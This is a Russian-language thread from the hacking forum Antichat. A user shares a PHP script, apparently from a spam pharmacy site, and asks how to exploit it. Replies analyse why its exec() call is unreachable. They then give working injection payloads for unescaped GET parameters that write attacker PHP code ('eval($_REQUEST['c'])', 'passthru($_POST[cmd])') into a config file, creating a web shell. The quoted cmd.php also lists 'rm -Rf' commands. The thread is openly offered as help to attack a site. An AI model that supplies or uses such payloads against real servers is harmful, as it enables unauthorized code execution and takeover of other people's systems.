Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Сценарии/CMF/СMS (https://forum.antichat.xyz/forumdisplay.php?f=114)
-   -   Как правильно экплаутировать? (https://forum.antichat.xyz/showthread.php?t=53179)

guest3297 09.11.2007 08:17

Как правильно экплаутировать?
 
Есть код интересует exec.
И откуда берется переменная __FILE__ ?
PHP код:

<?
if(array_key_exists('config',$_GET)){

    
$source '<?'."\n";
    
$source .= '$SDATA[\'THEME\']  = \''.$_GET['theme'].'\';'."\n";
    
$source .= '$SDATA[\'SUPPORT-MAIL\'] = \''.$_GET['sem'].'\';'."\n";
    
$source .= '$SDATA[\'SUPPORT-HOST\'] = \''.$_GET['sh'].'\';'."\n\n";

    
$source .= '$SDATA[\'PRICE_MODIFIER\'][\'default\'] = '.$_GET['pr'].';'."\n";
    
$source .= '$SDATA[\'USE_FREE_VIAGRA_PILLS\'] = true;'."\n";
    
$source .= '$SDATA[\'USE_REWRITE_URLS\'] = true;'."\n";
    
$source .= '?>';
    
//mkdir(dirname(__FILE__).'/_cnf/'.$_GET['url'],0777);
    
if($fp = @fopen(dirname(__FILE__).'/_cnf/unknown/config.inc','w')){
        
fwrite($fp,$source);
        
fclose($fp);
        die(
'OK:-:');
    }
    else die(
'ERROR:-:writeconfig');
}
else{
    
$CMD = array();
    include_once 
dirname(__FILE__).'/cmd.php';
    
$cnt count($CMD);
    for(
$i=0;$i<$cnt;$i++){
        
exec($CMD[$i],$out,$res);
        if((
$CMD[$i] != 'chmod -R 777 ./_cnf') && ($CMD[$i] != 'chmod -R 777 ./var'))
        if(
$res != 0) die('ERROR:-:'.$CMD[$i]);
    }
}
?>


gibson 09.11.2007 10:05

у тебя эта строчка закоментированна
//mkdir(dirname(__FILE__).'/_cnf/'.$_GET['url'],0777);
создает директорию, где dirname это директория на хосте, __FILE__ скорее всего это какая то константа, дальше еще одна папка и файл, и выставляются чмоды.
Из манов:
mkdir ("/path/to/my/dir", cmod);

У тя где то в скриптах должно быть такое
define ("_FILE_", "samehit.php");

inv 09.11.2007 10:08

http://php.ru.manual.osdevel.com/language.constants.predefined.html

guest3297 09.11.2007 10:16

Еще раз интересует exec()

FraiDex 09.11.2007 10:18

я думаю из [DOCUMENT_ROOT]
вот например при открытии файла
if($fp = @fopen(dirname(__FILE__).'/_cnf/unknown/config.inc','w'))
имя каталога она берёт из _FILE_ потом добавляет адрес нужного файла.

gemaglabin 09.11.2007 10:32

C exec ты ничего не поделаешь зато в конфиг можешь записать php код . config=1&theme=';eval($_REQUEST['c']);# если конечно ковычки не эскейпятся

ZaCo 09.11.2007 10:43

2gibson это предопределенная интепретатором константа.

>> include_once dirname(__FILE__).'/cmd.php';
ну мы же не знаем чего в cmd.php находится, а там как раз и идет определение массива $cmd.

зы я бы на твоем месте смотрел, что у нас в первом if идет)
зыы ужасные исходники

groundhog 09.11.2007 11:06

[ cash ], константа __FILE__ является одной из предопределённых констант и всегда резолвится в полный путь до текущего файла, т.е. в нашем случае данная константа резолвится в полный путь к этому бажному скрипту. Что касается exec - в данном случае мы ничего поделать не можем, т.к. единственный параметр, который содержит выполняемую команду это $CMD и он обнуляется ($CMD = array()) перед использованием. Как правильно заметил Гема, в данном случае единственное само-собой напрашивающее действие - проинжектить параметры и прописать в конфиг свой php-код. То есть уязвимые параметры у нас: theme, sem, sh, pr. Можно использовать любой из них. Единственное - если на серваке включены magic_quotes это может обернуться для нас проблемой и лишит ряда удобств. Вот пример вызова этого скрипта:

Цитата:

bug.php?config=1&pr=RUR;passthru($_POST[cmd]);
Обрати внимание, я использовал параметр pr, т.к. в конфиге его значение не обрамляется кавычками.

guest3297 09.11.2007 11:08

В cmd.php и есть масив с командами.

PHP код:

<?
$CMD
[] = 'rm -Rf ./core';
$CMD[] = 'rm -Rf ./data';
$CMD[] = 'rm -Rf ./themes';

$CMD[] = 'rm -Rf ./thumbs';
$CMD[] = 'rm -Rf ./temp';
$CMD[] = 'rm -Rf ./var';
?>

Цитата:

C exec ты ничего не поделаешь зато в конфиг можешь записать php код . config=1&theme=';eval($_REQUEST['c']);# если конечно ковычки не эскейпятся
Да токо пишеться inc файл...

Тоесть как я понял внедрить в массив CMD свою команду не реально?

И сам конфиг не куда не инклудиться... он всего лишь остаток скрипта который забыли удалить...

groundhog 09.11.2007 11:42

Ну ничто не мешает открыть конфиг тебе, если парсится расширение inc и он доступен через веб. В массив CMD влезть нереально, так как он жёстко забит в файле и нету никакого интерфейса общения с ним.


Время: 23:26